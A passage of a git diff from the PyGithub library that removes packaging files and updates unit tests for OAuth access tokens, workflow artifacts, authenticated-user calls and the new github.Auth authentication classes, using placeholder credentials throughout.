http://pygithub.readthedocs.io/en/latest/""" - ), - packages=["github"], - package_data={"github": ["py.typed", "*.pyi"]}, - classifiers=[ - "Development Status :: 5 - Production/Stable", - "Environment :: Web Environment", - "Intended Audience :: Developers", - "License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL)", - "Operating System :: OS Independent", - "Programming Language :: Python", - "Programming Language :: Python :: 3", - "Programming Language :: Python :: 3.7", - "Programming Language :: Python :: 3.8", - "Programming Language :: Python :: 3.9", - "Programming Language :: Python :: 3.10", - "Programming Language :: Python :: 3.11", - "Topic :: Software Development", - ], - python_requires=">=3.7", - install_requires=[ - "deprecated", - "pyjwt[crypto]>=2.4.0", - "pynacl>=1.4.0", - "requests>=2.14.0", - ], - # can be removed, still here to avoid breaking user code - extras_require={"integrations": []}, - tests_require=["httpretty>=1.0.3"], - ) diff --git a/test-requirements.txt b/test-requirements.txt deleted file mode 100644 index ced0003cff..0000000000 --- a/test-requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -httpretty>=1.0.3 -pytest>=5.3 -pytest-cov>=2.8 diff --git a/tests/ApplicationOAuth.py b/tests/ApplicationOAuth.py index ce374d54ae..108264dc0e 100644 --- a/tests/ApplicationOAuth.py +++ b/tests/ApplicationOAuth.py @@ -1,6 +1,20 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 sfdye # # Copyright 2019 Rigas Papathanasopoulos # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 chantra # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,6 +34,12 @@ # # ################################################################################ +from datetime import datetime, timezone +from unittest import mock + +import github +from github.ApplicationOAuth import ApplicationOAuth as aoa + from . import Framework @@ -34,36 +54,138 @@ def testLoginURL(self): BASE_URL = "https://github.com/login/oauth/authorize" sample_uri = "https://myapp.com/some/path" sample_uri_encoded = "https%3A%2F%2Fmyapp.com%2Fsome%2Fpath" + self.assertEqual(self.app.get_login_url(), f"{BASE_URL}?client_id={self.CLIENT_ID}") + self.assertTrue(f"redirect_uri={sample_uri_encoded}" in self.app.get_login_url(redirect_uri=sample_uri)) + self.assertTrue(f"client_id={self.CLIENT_ID}" in self.app.get_login_url(redirect_uri=sample_uri)) + self.assertTrue("state=123abc" in self.app.get_login_url(state="123abc", login="user")) + self.assertTrue("login=user" in self.app.get_login_url(state="123abc", login="user")) + self.assertTrue(f"client_id={self.CLIENT_ID}" in self.app.get_login_url(state="123abc", login="user")) + + def testGetAccessToken(self): + access_token = self.app.get_access_token("oauth_code_removed", state="state_removed") + # Test string representation self.assertEqual( - self.app.get_login_url(), f"{BASE_URL}?client_id={self.CLIENT_ID}" + str(access_token), + 'AccessToken(type="bearer", token="acces...", scope="", ' + "refresh_token_expires_in=None, refresh_token=None, expires_in=None)", ) - self.assertTrue( - f"redirect_uri={sample_uri_encoded}" - in self.app.get_login_url(redirect_uri=sample_uri) + self.assertEqual(access_token.token, "access_token_removed") + self.assertEqual(access_token.type, "bearer") + self.assertEqual(access_token.scope, "") + self.assertIsNone(access_token.expires_in) + self.assertIsNone(access_token.expires_at) + self.assertIsNone(access_token.refresh_token) + self.assertIsNone(access_token.refresh_expires_in) + self.assertIsNone(access_token.refresh_expires_at) + + def testGetAccessTokenWithExpiry(self): + with mock.patch("github.AccessToken.datetime") as dt: + dt.now = mock.Mock(return_value=datetime(2023, 6, 7, 12, 0, 0, 123, tzinfo=timezone.utc)) + access_token = self.app.get_access_token("oauth_code_removed", state="state_removed") + # Test string representation + self.assertEqual( + str(access_token), + 'AccessToken(type="bearer", token="acces...", scope="", ' + 'refresh_token_expires_in=15811200, refresh_token="refre...", expires_in=28800)', ) - self.assertTrue( - f"client_id={self.CLIENT_ID}" - in self.app.get_login_url(redirect_uri=sample_uri) + self.assertEqual(access_token.token, "access_token_removed") + self.assertEqual(access_token.type, "bearer") + self.assertEqual(access_token.scope, "") + self.assertEqual(access_token.expires_in, 28800) + self.assertEqual( + access_token.expires_at, + datetime(2023, 6, 7, 20, 0, 0, 123, tzinfo=timezone.utc), ) - self.assertTrue( - "state=123abc" in self.app.get_login_url(state="123abc", login="user") + self.assertEqual(access_token.refresh_token, "refresh_token_removed") + self.assertEqual(access_token.refresh_expires_in, 15811200) + self.assertEqual( + access_token.refresh_expires_at, + datetime(2023, 12, 7, 12, 0, 0, 123, tzinfo=timezone.utc), ) - self.assertTrue( - "login=user" in self.app.get_login_url(state="123abc", login="user") + + def testRefreshAccessToken(self): + access_token = self.app.get_access_token("oauth_code_removed", state="state_removed") + + with mock.patch("github.AccessToken.datetime") as dt: + dt.now = mock.Mock(return_value=datetime(2023, 6, 7, 12, 0, 0, 123, tzinfo=timezone.utc)) + refreshed = self.app.refresh_access_token(access_token.refresh_token) + + self.assertNotEqual(refreshed.token, access_token.token) + self.assertNotEqual(refreshed.refresh_token, access_token.refresh_token) + self.assertNotEqual(refreshed.created, access_token.created) + # Test string representation + self.assertEqual( + str(refreshed), + 'AccessToken(type="bearer", token="anoth...", scope="", ' + 'refresh_token_expires_in=15811200, refresh_token="anoth...", expires_in=28800)', ) - self.assertTrue( - f"client_id={self.CLIENT_ID}" - in self.app.get_login_url(state="123abc", login="user") + self.assertEqual(refreshed.token, "another_access_token_removed") + self.assertEqual(refreshed.type, "bearer") + self.assertEqual(refreshed.scope, "") + self.assertEqual( + refreshed.created, + datetime(2023, 6, 7, 12, 0, 0, 123, tzinfo=timezone.utc), ) - - def testGetAccessToken(self): - access_token = self.app.get_access_token( - "oauth_code_removed", state="state_removed" + self.assertEqual(refreshed.expires_in, 28800) + self.assertEqual( + refreshed.expires_at, + datetime(2023, 6, 7, 20, 0, 0, 123, tzinfo=timezone.utc), ) - # Test string representation + self.assertEqual(refreshed.refresh_token, "another_refresh_token_removed") + self.assertEqual(refreshed.refresh_expires_in, 15811200) self.assertEqual( - str(access_token), 'AccessToken(type="bearer", token="acces...", scope="")' + refreshed.refresh_expires_at, + datetime(2023, 12, 7, 12, 0, 0, 123, tzinfo=timezone.utc), ) - self.assertEqual(access_token.token, "access_token_removed") - self.assertEqual(access_token.scope, "") - self.assertEqual(access_token.type, "bearer") + + def testGetAccessTokenBadCode(self): + with self.assertRaises(github.BadCredentialsException) as exc: + self.app.get_access_token("oauth_code_removed", state="state_removed") + self.assertEqual(exc.exception.status, 200) + self.assertIn("error", exc.exception.data) + self.assertEqual(exc.exception.data["error"], "bad_verification_code") + + def testGetAccessTokenUnknownError(self): + with self.assertRaises(github.GithubException) as exc: + self.app.get_access_token("oauth_code_removed", state="state_removed") + self.assertEqual(exc.exception.status, 200) + self.assertIn("error", exc.exception.data) + self.assertEqual(exc.exception.data["error"], "some_unknown_error") + + def testRefreshAccessTokenBadCode(self): + with self.assertRaises(github.BadCredentialsException) as exc: + self.app.refresh_access_token("oauth_code_removed") + self.assertEqual(exc.exception.status, 200) + self.assertIn("error", exc.exception.data) + self.assertEqual(exc.exception.data["error"], "bad_verification_code") + + def testRefreshAccessTokenUnknownError(self): + with self.assertRaises(github.GithubException) as exc: + self.app.refresh_access_token("oauth_code_removed") + self.assertEqual(exc.exception.status, 200) + self.assertIn("error", exc.exception.data) + self.assertEqual(exc.exception.data["error"], "some_unknown_error") + + def testCheckError(self): + expected_header = {"header": True} + expected_data = {"data": True} + + header, data = aoa._checkError(expected_header, None) + self.assertEqual(header, expected_header) + self.assertIsNone(data) + + header, data = aoa._checkError(expected_header, expected_data) + self.assertEqual(header, expected_header) + self.assertEqual(data, expected_data) + + with self.assertRaises(github.BadCredentialsException) as exc: + aoa._checkError({}, {"error": "bad_verification_code"}) + self.assertEqual(exc.exception.status, 200) + self.assertIn("error", exc.exception.data) + self.assertEqual(exc.exception.data["error"], "bad_verification_code") + + with self.assertRaises(github.GithubException) as exc: + aoa._checkError({}, {"error": "other"}) + self.assertEqual(exc.exception.status, 200) + self.assertIn("error", exc.exception.data) + self.assertEqual(exc.exception.data["error"], "other") diff --git a/tests/Artifact.py b/tests/Artifact.py index f5a4447a2d..a9a497d3ae 100644 --- a/tests/Artifact.py +++ b/tests/Artifact.py @@ -1,4 +1,27 @@ -#!/usr/bin/env python3 +#!/usr/bin/env python +############################ Copyrights and license ############################ +# # +# Copyright 2022 Aleksei Fedotov # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ import github @@ -8,28 +31,34 @@ class Artifact(Framework.TestCase): def setUp(self): super().setUp() - self.repo = self.g.get_repo("github/vscode-codeql") + self.repo = self.g.get_repo("transmission-web-control/transmission-web-control") def testGetArtifactsFromWorkflow(self): - artifact = self.repo.get_workflow_run(160995070).get_artifacts()[0] + artifact = self.repo.get_workflow_run(5138169628).get_artifacts()[0] - self.assertEqual(artifact.name, "vscode-codeql-extension") - self.assertTrue(artifact.expired) - self.assertEqual( - repr(artifact), 'Artifact(name="vscode-codeql-extension", id=10495898)' - ) + self.assertEqual(artifact.name, "build-tar") + self.assertFalse(artifact.expired) + self.assertEqual(repr(artifact), 'Artifact(name="build-tar", id=724958104)') + + def testGetArtifactsFromRepoWithName(self): + artifacts = self.repo.get_artifacts(name="build-tar") + self.assertEqual(artifacts.totalCount, 296) + assert all(x.name == "build-tar" for x in artifacts) + + artifact = artifacts[0] + + self.assertEqual(artifact.name, "build-tar") + self.assertEqual(repr(artifact), 'Artifact(name="build-tar", id=724959170)') def testGetSingleArtifactFromRepo(self): - artifact = self.repo.get_artifact(378970214) + artifact = self.repo.get_artifact(719509139) - self.assertEqual(artifact.name, "vscode-codeql-extension") + self.assertEqual(artifact.name, "build-zip") self.assertFalse(artifact.expired) - self.assertEqual( - repr(artifact), 'Artifact(name="vscode-codeql-extension", id=378970214)' - ) + self.assertEqual(repr(artifact), 'Artifact(name="build-zip", id=719509139)') def testGetArtifactsFromRepo(self): - artifact_id = 378970214 + artifact_id = 719509139 artifacts = self.repo.get_artifacts() for item in artifacts: if item.id == artifact_id: @@ -40,7 +69,7 @@ def testGetArtifactsFromRepo(self): self.assertEqual( repr(artifact), - f'Artifact(name="vscode-codeql-extension", id={artifact_id})', + f'Artifact(name="build-zip", id={artifact_id})', ) def testGetNonexistentArtifact(self): diff --git a/tests/AuthenticatedUser.py b/tests/AuthenticatedUser.py index ca0b999fdf..05e64d9cfe 100644 --- a/tests/AuthenticatedUser.py +++ b/tests/AuthenticatedUser.py @@ -8,9 +8,27 @@ # Copyright 2016 Peter Buckley # # Copyright 2017 Balázs Rostás # # Copyright 2017 Jannis Gebauer # +# Copyright 2018 Alice GIRARD # +# Copyright 2018 Bruce Richardson # # Copyright 2018 Jacopo Notarstefano # +# Copyright 2018 Riccardo Pittau # +# Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # -# Copyright 2018 itsbruce # +# Copyright 2019 Rigas Papathanasopoulos # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Surya Teja <94suryateja@gmail.com> # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Anuj Bansal # +# Copyright 2020 Glenn McDonald # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 MeggyCal # +# Copyright 2021 秋葉 # +# Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2024 Oskar Jansson <56458534+janssonoskar@users.noreply.github.com># # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -30,7 +48,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone import github @@ -51,7 +69,10 @@ def testAttributes(self): self.assertEqual(self.user.blog, "http://vincent-jacques.net") self.assertEqual(self.user.collaborators, 0) self.assertEqual(self.user.company, "Criteo") - self.assertEqual(self.user.created_at, datetime.datetime(2010, 7, 9, 6, 10, 6)) + self.assertEqual( + self.user.created_at, + datetime(2010, 7, 9, 6, 10, 6, tzinfo=timezone.utc), + ) self.assertEqual(self.user.disk_usage, 16692) self.assertEqual(self.user.email, "vincent@vincent-jacques.net") self.assertEqual(self.user.followers, 13) @@ -324,9 +345,7 @@ def testSubscriptions(self): self.assertTrue(self.user.has_in_subscriptions(gitflow)) def testGetAuthorizations(self): - self.assertListKeyEqual( - self.user.get_authorizations(), lambda a: a.id, [372294] - ) + self.assertListKeyEqual(self.user.get_authorizations(), lambda a: a.id, [372294]) def testCreateRepository(self): repo = self.user.create_repo(name="TestPyGithub") @@ -354,9 +373,7 @@ def testCreateRepositoryWithAllArguments(self): self.assertEqual(repo.url, "https://api.github.com/repos/jacquev6/TestPyGithub") def testCreateRepositoryWithAutoInit(self): - repo = self.user.create_repo( - name="TestPyGithub", auto_init=True, gitignore_template="Python" - ) + repo = self.user.create_repo(name="TestPyGithub", auto_init=True, gitignore_template="Python") self.assertEqual(repo.url, "https://api.github.com/repos/jacquev6/TestPyGithub") def testCreateAuthorizationWithoutArguments(self): @@ -388,9 +405,7 @@ def testCreateGist(self): self.assertEqual(gist.files["foobar.txt"].content, "File created by PyGithub") def testCreateGistWithoutDescription(self): - gist = self.user.create_gist( - True, {"foobar.txt": github.InputFileContent("File created by PyGithub")} - ) + gist = self.user.create_gist(True, {"foobar.txt": github.InputFileContent("File created by PyGithub")}) self.assertEqual(gist.description, None) self.assertEqual(list(gist.files.keys()), ["foobar.txt"]) self.assertEqual(gist.files["foobar.txt"].content, "File created by PyGithub") @@ -411,9 +426,7 @@ def testGetEvents(self): def testGetOrganizationEvents(self): self.assertListKeyBegin( - self.user.get_organization_events( - self.g.get_organization("BeaverSoftware") - ), + self.user.get_organization_events(self.g.get_organization("BeaverSoftware")), lambda e: e.type, ["CreateEvent", "CreateEvent", "PushEvent", "PushEvent"], ) @@ -431,7 +444,7 @@ def testGetGists(self): ], ) self.assertListKeyEqual( - self.user.get_gists(since=datetime.datetime(2012, 3, 1, 23, 0, 0)), + self.user.get_gists(since=datetime(2012, 3, 1, 23, 0, 0)), lambda g: g.id, ["2793505", "2793179", "11cb445f8197e17d303d"], ) @@ -474,7 +487,7 @@ def testGetIssuesWithAllArguments(self): [requestedByUser], "comments", "asc", - datetime.datetime(2012, 5, 28, 23, 0, 0), + datetime(2012, 5, 28, 23, 0, 0), ) self.assertListKeyEqual( issues, @@ -552,7 +565,7 @@ def testGetUserIssuesWithAllArguments(self): [requestedByUser], "comments", "asc", - datetime.datetime(2012, 5, 28, 23, 0, 0), + datetime(2012, 5, 28, 23, 0, 0), ) self.assertListKeyEqual( issues, @@ -614,9 +627,7 @@ def testGetKeys(self): ) def testGetOrgs(self): - self.assertListKeyEqual( - self.user.get_orgs(), lambda o: o.login, ["BeaverSoftware"] - ) + self.assertListKeyEqual(self.user.get_orgs(), lambda o: o.login, ["BeaverSoftware"]) def testGetRepos(self): self.assertListKeyEqual( @@ -667,9 +678,7 @@ def testCreateFork(self): def testCreateRepoFromTemplate(self): template_repo = self.g.get_repo("actions/hello-world-docker-action") - repo = self.user.create_repo_from_template( - "hello-world-docker-action-new", template_repo - ) + repo = self.user.create_repo_from_template("hello-world-docker-action-new", template_repo) self.assertEqual( repo.url, "https://api.github.com/repos/jacquev6/hello-world-docker-action-new", @@ -685,6 +694,7 @@ def testCreateRepoFromTemplateWithAllArguments(self): "hello-world-docker-action-new", template_repo, description=description, + include_all_branches=True, private=private, ) self.assertEqual(repo.description, description) @@ -699,7 +709,8 @@ def testGetNotification(self): self.assertEqual(notification.subject.type, "PullRequest") self.assertEqual(notification.repository.id, 8432784) self.assertEqual( - notification.updated_at, datetime.datetime(2013, 3, 15, 5, 43, 11) + notification.updated_at, + datetime(2013, 3, 15, 5, 43, 11, tzinfo=timezone.utc), ) self.assertEqual(notification.url, None) self.assertEqual(notification.subject.url, None) @@ -708,24 +719,16 @@ def testGetNotification(self): repr(notification), 'Notification(subject=NotificationSubject(title="Feature/coveralls"), id="8406712")', ) - self.assertEqual( - repr(notification.subject), 'NotificationSubject(title="Feature/coveralls")' - ) + self.assertEqual(repr(notification.subject), 'NotificationSubject(title="Feature/coveralls")') def testGetNotifications(self): - self.assertListKeyEqual( - self.user.get_notifications(participating=True), lambda n: n.id, ["8406712"] - ) + self.assertListKeyEqual(self.user.get_notifications(participating=True), lambda n: n.id, ["8406712"]) def testGetNotificationsWithOtherArguments(self): - self.assertListKeyEqual( - self.user.get_notifications(all=True), lambda n: n.id, [] - ) + self.assertListKeyEqual(self.user.get_notifications(all=True), lambda n: n.id, []) def testMarkNotificationsAsRead(self): - self.user.mark_notifications_as_read( - datetime.datetime(2018, 10, 18, 18, 20, 0o1, 0) - ) + self.user.mark_notifications_as_read(datetime(2018, 10, 18, 18, 20, 0o1, 0)) def testGetTeams(self): self.assertListKeyEqual( @@ -753,25 +756,19 @@ def testGetInvitations(self): self.assertEqual(repr(invitation), "Invitation(id=17285388)") self.assertEqual(invitation.id, 17285388) self.assertEqual(invitation.permissions, "write") - created_at = datetime.datetime(2019, 6, 27, 11, 47) + created_at = datetime(2019, 6, 27, 11, 47, tzinfo=timezone.utc) self.assertEqual(invitation.created_at, created_at) self.assertEqual( invitation.url, "https://api.github.com/user/repository_invitations/17285388", ) - self.assertEqual( - invitation.html_url, "https://github.com/jacquev6/PyGithub/invitations" - ) + self.assertEqual(invitation.html_url, "https://github.com/jacquev6/PyGithub/invitations") self.assertEqual(invitation.repository.name, "PyGithub") self.assertEqual(invitation.invitee.login, "foobar-test1") self.assertEqual(invitation.inviter.login, "jacquev6") def testCreateMigration(self): - self.assertTrue( - isinstance( - self.user.create_migration(["sample-repo"]), github.Migration.Migration - ) - ) + self.assertTrue(isinstance(self.user.create_migration(["sample-repo"]), github.Migration.Migration)) def testGetMigrations(self): self.assertEqual(self.user.get_migrations().totalCount, 46) diff --git a/tests/Authentication.py b/tests/Authentication.py index c66dd73137..e72ee7fdd9 100644 --- a/tests/Authentication.py +++ b/tests/Authentication.py @@ -5,8 +5,19 @@ # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # +# Copyright 2018 Arda Kuyumcu # # Copyright 2018 Steve Kowalik # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Denis Blanchette # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 chantra # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -26,9 +37,17 @@ # # ################################################################################ +import os +from datetime import datetime, timezone +from tempfile import NamedTemporaryFile +from unittest import mock + +import jwt + import github from . import Framework +from .GithubIntegration import APP_ID, PRIVATE_KEY, PUBLIC_KEY class Authentication(Framework.BasicTestCase): @@ -37,39 +56,276 @@ def testNoAuthentication(self): self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") def testBasicAuthentication(self): - g = github.Github(self.login, self.password) + with self.assertWarns(DeprecationWarning) as warning: + g = github.Github(self.login.login, self.login.password) self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") + self.assertWarning( + warning, + "Arguments login_or_token and password are deprecated, please use auth=github.Auth.Login(...) instead", + ) def testOAuthAuthentication(self): - g = github.Github(self.oauth_token) + with self.assertWarns(DeprecationWarning) as warning: + g = github.Github(self.oauth_token.token) self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") + self.assertWarning( + warning, + "Argument login_or_token is deprecated, please use auth=github.Auth.Token(...) instead", + ) def testJWTAuthentication(self): - g = github.Github(jwt=self.jwt) + with self.assertWarns(DeprecationWarning) as warning: + g = github.Github(jwt=self.jwt.token) self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") + self.assertWarning( + warning, + "Argument jwt is deprecated, please use auth=github.Auth.AppAuth(...) or " + "auth=github.Auth.AppAuthToken(...) instead", + ) - def testUserAgent(self): - g = github.Github(user_agent="PyGithubTester") + def testAppAuthentication(self): + with self.assertWarns(DeprecationWarning) as warning: + app_auth = github.AppAuthentication( + app_id=self.app_auth.app_id, + private_key=self.app_auth.private_key, + installation_id=29782936, + ) + g = github.Github(app_auth=app_auth) + self.assertEqual(g.get_user("ammarmallik").name, "Ammar Akbar") + self.assertWarnings( + warning, + "Call to deprecated class AppAuthentication. (Use github.Auth.AppInstallationAuth instead)", + "Argument app_auth is deprecated, please use auth=github.Auth.AppInstallationAuth(...) instead", + ) + + def testLoginAuthentication(self): + # test data copied from testBasicAuthentication to test parity + g = github.Github(auth=self.login) self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") - def testAppAuthentication(self): + def testTokenAuthentication(self): + # test data copied from testOAuthAuthentication to test parity + g = github.Github(auth=self.oauth_token) + self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") + + def testAppAuthTokenAuthentication(self): + # test data copied from testJWTAuthentication to test parity + g = github.Github(auth=self.jwt) + self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") + + def testAppAuthAuthentication(self): + # test data copied from testAppAuthentication to test parity + g = github.Github(auth=self.app_auth.get_installation_auth(29782936)) + self.assertEqual(g.get_user("ammarmallik").name, "Ammar Akbar") + + def assert_requester_args(self, g, expected_requester): + expected_args = expected_requester.kwargs + expected_args.pop("auth") + + auth_args = g._Github__requester.auth.requester.kwargs + auth_args.pop("auth") + + self.assertEqual(expected_args, auth_args) + + auth_integration_args = ( + g._Github__requester.auth._AppInstallationAuth__integration._GithubIntegration__requester.kwargs + ) + auth_integration_args.pop("auth") + + self.assertEqual(expected_args, auth_integration_args) + + def testAppAuthAuthenticationWithGithubRequesterArgs(self): + # test that Requester arguments given to github.Github are passed to auth and auth.__integration g = github.Github( - app_auth=github.AppAuthentication( - app_id=self.app_id, - private_key=self.app_private_key, - installation_id=29782936, - ), + auth=self.app_auth.get_installation_auth(29782936), + base_url="https://base.net/", + timeout=60, + user_agent="agent", + per_page=100, + verify="cert", + retry=999, + pool_size=10, + seconds_between_requests=100, + seconds_between_writes=1000, + ) + + self.assert_requester_args(g, g._Github__requester) + + def testAppAuthAuthenticationWithGithubIntegrationRequesterArgs(self): + # test that Requester arguments given to github.GithubIntegration are passed to auth and auth.__integration + gi = github.GithubIntegration( + auth=self.app_auth, + base_url="https://base.net/", + timeout=60, + user_agent="agent", + per_page=100, + verify="cert", + retry=999, + pool_size=10, + seconds_between_requests=100, + seconds_between_writes=1000, ) + + self.assert_requester_args(gi.get_github_for_installation(29782936), gi._GithubIntegration__requester) + + def testAppInstallationAuthAuthentication(self): + # test data copied from testAppAuthentication to test parity + installation_auth = github.Auth.AppInstallationAuth(self.app_auth, 29782936) + g = github.Github(auth=installation_auth) + + # test token expiry + # token expires 2024-11-25 01:00:02 + token = installation_auth.token + self.assertFalse(installation_auth._is_expired) + self.assertEqual( + installation_auth._AppInstallationAuth__installation_authorization.expires_at, + datetime(2024, 11, 25, 1, 0, 2, tzinfo=timezone.utc), + ) + + # forward the clock so token expires + with mock.patch("github.Auth.datetime") as dt: + # just before expiry + dt.now = mock.Mock(return_value=datetime(2024, 11, 25, 0, 59, 3, tzinfo=timezone.utc)) + self.assertFalse(installation_auth._is_expired) + + # just after expiry + dt.now = mock.Mock(return_value=datetime(2024, 11, 25, 1, 0, 3, tzinfo=timezone.utc)) + self.assertTrue(installation_auth._is_expired) + + # expect refreshing the token + refreshed_token = installation_auth.token + self.assertNotEqual(refreshed_token, token) + self.assertFalse(installation_auth._is_expired) + self.assertEqual( + installation_auth._AppInstallationAuth__installation_authorization.expires_at, + datetime(2025, 11, 25, 1, 0, 2, tzinfo=timezone.utc), + ) + + # use the token self.assertEqual(g.get_user("ammarmallik").name, "Ammar Akbar") + self.assertEqual(g.get_repo("PyGithub/PyGithub").full_name, "PyGithub/PyGithub") + + def testAppInstallationAuthAuthenticationRequesterArgs(self): + installation_auth = github.Auth.AppInstallationAuth(self.app_auth, 29782936) + github.Github( + auth=installation_auth, + ) + + def testAppUserAuthentication(self): + client_id = "removed client id" + client_secret = "removed client secret" + refresh_token = "removed refresh token" + + g = github.Github() + app = g.get_oauth_application(client_id, client_secret) + with mock.patch("github.AccessToken.datetime") as dt: + dt.now = mock.Mock(return_value=datetime(2023, 6, 7, 12, 0, 0, 123, tzinfo=timezone.utc)) + token = app.refresh_access_token(refresh_token) + self.assertEqual(token.token, "fresh access token") + self.assertEqual(token.type, "bearer") + self.assertEqual(token.scope, "") + self.assertEqual(token.expires_in, 28800) + self.assertEqual( + token.expires_at, + datetime(2023, 6, 7, 20, 0, 0, 123, tzinfo=timezone.utc), + ) + self.assertEqual(token.refresh_token, "fresh refresh token") + self.assertEqual(token.refresh_expires_in, 15811200) + self.assertEqual( + token.refresh_expires_at, + datetime(2023, 12, 7, 12, 0, 0, 123, tzinfo=timezone.utc), + ) + + auth = app.get_app_user_auth(token) + with mock.patch("github.Auth.datetime") as dt: + dt.now = mock.Mock(return_value=datetime(2023, 6, 7, 20, 0, 0, 123, tzinfo=timezone.utc)) + self.assertEqual(auth._is_expired, False) + self.assertEqual(auth.token, "fresh access token") + self.assertEqual(auth.token_type, "bearer") + self.assertEqual(auth.refresh_token, "fresh refresh token") + + # expire auth token + with mock.patch("github.Auth.datetime") as dt: + dt.now = mock.Mock(return_value=datetime(2023, 6, 7, 20, 0, 1, 123, tzinfo=timezone.utc)) + self.assertEqual(auth._is_expired, True) + self.assertEqual(auth.token, "another access token") + self.assertEqual(auth._is_expired, False) + self.assertEqual(auth.token_type, "bearer") + self.assertEqual(auth.refresh_token, "another refresh token") + + g = github.Github(auth=auth) + user = g.get_user() + self.assertEqual(user.login, "EnricoMi") + + def testNetrcAuth(self): + with NamedTemporaryFile("wt", delete=False) as tmp: + # write temporary netrc file + tmp.write("machine api.github.com\n") + tmp.write("login github-user\n") + tmp.write("password github-password\n") + tmp.close() + + auth = github.Auth.NetrcAuth() + with mock.patch.dict(os.environ, {"NETRC": tmp.name}): + github.Github(auth=auth) + + self.assertEqual(auth.login, "github-user") + self.assertEqual(auth.password, "github-password") + self.assertEqual(auth.token, "Z2l0aHViLXVzZXI6Z2l0aHViLXBhc3N3b3Jk") + self.assertEqual(auth.token_type, "Basic") + + def testNetrcAuthFails(self): + # provide an empty netrc file to make sure this test does not find one + with NamedTemporaryFile("wt", delete=False) as tmp: + tmp.close() + auth = github.Auth.NetrcAuth() + with mock.patch.dict(os.environ, {"NETRC": tmp.name}): + with self.assertRaises(RuntimeError) as exc: + github.Github(auth=auth) + self.assertEqual(exc.exception.args, ("Could not get credentials from netrc for host api.github.com",)) + + def testCreateJWT(self): + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY) + + with mock.patch("github.Auth.time") as t: + t.time = mock.Mock(return_value=1550055331.7435968) + token = auth.create_jwt() + + payload = jwt.decode( + token, + key=PUBLIC_KEY, + algorithms=["RS256"], + options={"verify_exp": False}, + ) + self.assertDictEqual(payload, {"iat": 1550055271, "exp": 1550055631, "iss": APP_ID}) + + def testCreateJWTWithExpiration(self): + auth = github.Auth.AppAuth(APP_ID, PRIVATE_KEY, jwt_expiry=120, jwt_issued_at=-30) + + with mock.patch("github.Auth.time") as t: + t.time = mock.Mock(return_value=1550055331.7435968) + token = auth.create_jwt(60) + + payload = jwt.decode( + token, + key=PUBLIC_KEY, + algorithms=["RS256"], + options={"verify_exp": False}, + ) + self.assertDictEqual(payload, {"iat": 1550055301, "exp": 1550055391, "iss": APP_ID}) + + def testUserAgent(self): + g = github.Github(user_agent="PyGithubTester") + self.assertEqual(g.get_user("jacquev6").name, "Vincent Jacques") def testAuthorizationHeaderWithLogin(self): # See special case in Framework.fixAuthorizationHeader - g = github.Github("fake_login", "fake_password") + g = github.Github(auth=github.Auth.Login("fake_login", "fake_password")) with self.assertRaises(github.GithubException): g.get_user().name def testAuthorizationHeaderWithToken(self): # See special case in Framework.fixAuthorizationHeader - g = github.Github("ZmFrZV9sb2dpbjpmYWtlX3Bhc3N3b3Jk") + g = github.Github(auth=github.Auth.Token("ZmFrZV9sb2dpbjpmYWtlX3Bhc3N3b3Jk")) with self.assertRaises(github.GithubException): g.get_user().name diff --git a/tests/Authorization.py b/tests/Authorization.py index 2e05cb7d36..1c43ca7a3a 100644 --- a/tests/Authorization.py +++ b/tests/Authorization.py @@ -6,6 +6,12 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate 